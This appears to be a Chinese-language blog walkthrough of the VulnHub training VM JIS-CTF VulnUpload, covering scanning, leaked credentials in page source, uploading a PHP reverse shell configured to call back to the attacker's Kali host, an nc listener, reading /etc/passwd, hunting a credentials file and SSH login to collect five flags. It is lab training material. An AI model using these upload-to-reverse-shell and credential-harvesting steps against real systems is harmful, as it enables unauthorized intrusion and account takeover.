VM - JIS-CTF-VulnUpload-CTF01 的破解
本文主要記錄對 JIS-CTF-VulnUpload-CTF01 的滲透學習過程，測試的 VM 主機主要來源 www.vulnhub.com
部落格集：面向 CTF 的 VM 破解系列
下載連結：JIS-CTF-VulnUpload-CTF01
VM - JIS-CTF-VulnUpload-CTF01 的破解
2019年4月13日19:19:03 【原創】
1. 官方描述
VM Name: JIS-CTF : VulnUpload
名字：JIS-CTF : VulnUpload
Difficulty: Beginner
難度：初學者
Description: There are five flags on this machine. Try to find them. It takes 1.5 hour on average to find all flags.
描述：這個機器有五個flag，嘗試發現他們，發現所有 flag 平均耗時1.5小時。
Only working with VirtualBox
只能工作在 VirtualBox 中。
我測試在 vmware 中無法 DHCP 獲取到 IP
2. Workthrough
首先探測目標主機的 IP，檢視自己的IP為 192.168.216.3，因為是同一個網段，所以進行探測
root@kali:~# netdiscover -r 192.168.216.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.216.1 0a:00:27:00:00:18 1 60 Unknown vendor
192.168.216.2 08:00:27:eb:09:84 1 60 PCS Systemtechnik GmbH
192.168.216.4 08:00:27:3a:0a:0b 1 60 PCS Systemtechnik GmbH
發現目標IP為 192.168.216.4，下面進行埠探測
root@kali:~# nmap -p- 192.168.216.4
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 07:51 EDT
Nmap scan report for 192.168.216.4
Host is up (0.000077s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:3A:0A:0B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 16.73 seconds
掃描完成後，我們發現目標計算機上有兩個開啟的埠，首先探測 80 埠。使用瀏覽器可以看到介面
使用 dirb 進行目錄猜解
root@kali:~# dirb http://192.168.216.4
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Apr 13 07:55:41 2019
URL_BASE: http://192.168.216.4/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.216.4/ ----
==> DIRECTORY: http://192.168.216.4/admin_area/
==> DIRECTORY: http://192.168.216.4/assets/
==> DIRECTORY: http://192.168.216.4/css/
==> DIRECTORY: http://192.168.216.4/flag/
+ http://192.168.216.4/index.php (CODE:302|SIZE:1228)
==> DIRECTORY: http://192.168.216.4/js/
+ http://192.168.216.4/robots.txt (CODE:200|SIZE:160)
+ http://192.168.216.4/server-status (CODE:403|SIZE:301)
---- Entering directory: http://192.168.216.4/admin_area/ ----
+ http://192.168.216.4/admin_area/index.php (CODE:200|SIZE:224)
---- Entering directory: http://192.168.216.4/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.216.4/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.216.4/flag/ ----
+ http://192.168.216.4/flag/index.html (CODE:200|SIZE:109)
---- Entering directory: http://192.168.216.4/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sat Apr 13 07:55:49 2019
DOWNLOADED: 13836 - FOUND: 5
根據提示，檢測到五個結果。其中有一個名為 flag 的路徑值得我們注意。使用瀏覽器訪問則獲取第一個 flag
The 1st flag is : {8734509128730458630012095}
檢視頁面原始碼無有效資訊。檢視下面的目錄 admin_area，頁面中無明顯資訊，檢視頁面原始碼
可以看到第二個 flag 以及賬號密碼
<!-- username : admin
password : 3v1l_H@ck3r
The 2nd flag is : {7412574125871236547895214}
-->
我們在獲得了賬號密碼之後，嘗試登入主頁面，登入成功。返回頁面是一個檔案上傳
首先上傳幾個檔案做測試，發現 rar 和 doc 都可以上傳，猜測是沒有做過濾，下面上傳一個 php 一句話木馬（在kali 中的路徑為 /usr/share/webshells/php/php-reverse-shell.php）
# 修改如下內容，設定反彈到 kali 的 IP 上
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.216.3'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
在檔案上傳之後是不知道路徑的是，所以我們需要找到路徑。由於我們在 dirb 中知道還存在 robots.txt 檔案，所以檢視
User-agent: *
Disallow: /
Disallow: /backup
Disallow: /admin
Disallow: /admin_area
Disallow: /r00t
Disallow: /uploads
Disallow: /uploaded_files
Disallow: /flag
此時看到 uploaded_files 目錄，猜測應該是存放結果的，但是頁面無顯示，檢視頁面原始碼也無法檢視。嘗試使用抓包工具，仍然抓不到包，但是可以發現頁面沒有進行跳轉，也就是說這個目錄中沒有 index.php 。所以嘗試包含上傳的原始檔名進行測試，發現頁面可以訪問，並且有報錯資訊，說明訪問成功。
下面在 kali 監聽一個 4444 埠
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
使用瀏覽器訪問
http://192.168.216.4/uploaded_files/php-reverse-shell.php
反彈成功（如果反彈不成功，請檢查上傳之前 php 檔案中的IP和埠是否設定正確）
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.216.3] from (UNKNOWN) [192.168.216.4] 40384
Linux Jordaninfosec-CTF01 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
15:32:19 up 47 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
可以看到我們顯示是 www-data 許可權，切換到網站根目錄
$ cd /var/www/html
$ ls
admin_area
assets
check_login.php
css
flag
flag.txt
hint.txt
index.php
js
login.php
logout.php
robots.txt
uploaded_files
$
可以看到存在 flag.txt 但是無法訪問，但是還存在一個可以訪問的 hint.txt 檔案
$ cat flag.txt
cat: flag.txt: Permission denied
$ cat hint.txt
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)
The 3rd flag is : {7645110034526579012345670}
我們可以看一下都有哪些使用者
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
technawi:x:1000:1000:technawi,,,:/home/technawi:/bin/bash
mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
名為 technawi 使用者引起了我的注意。我們可以可以看一下這個使用者建立過的檔案
$ find / -user technawi -type f 2>& 1 | grep -v "Permission" | grep -v "No such"
/etc/mysql/conf.d/credentials.txt
/var/www/html/flag.txt
/home/technawi/.bash_history
/home/technawi/.sudo_as_admin_successful
/home/technawi/.profile
/home/technawi/.bashrc
/home/technawi/.bash_logout
可以看到這個使用者的兩個檔案 /etc/mysql/conf.d/credentials.txt 和 /var/www/html/flag.txt
$ cat /etc/mysql/conf.d/credentials.txt
The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor
cat /var/www/html/flag.txt
cat: /var/www/html/flag.txt: Permission denied
我們使用這個賬號和密碼登入系統
root@kali:~# ssh technawi@192.168.216.4
The authenticity of host '192.168.216.4 (192.168.216.4)' can't be established.
ECDSA key fingerprint is SHA256:ThPvIGqyDX2PSqt5JWHyy/J/Hy2hK5aVcpKTpkTKHQE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.216.4' (ECDSA) to the list of known hosts.
technawi@192.168.216.4's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Fri Apr 21 17:22:16 2017
technawi@Jordaninfosec-CTF01:~$
下面獲取 flag
technawi@Jordaninfosec-CTF01:~$ cd /var/www/html/
technawi@Jordaninfosec-CTF01:/var/www/html$ cat flag.txt
The 5th flag is : {5473215946785213456975249}
Good job :)
You find 5 flags and got their points and finish the first scenario....
至此，五個 flag 獲取完畢
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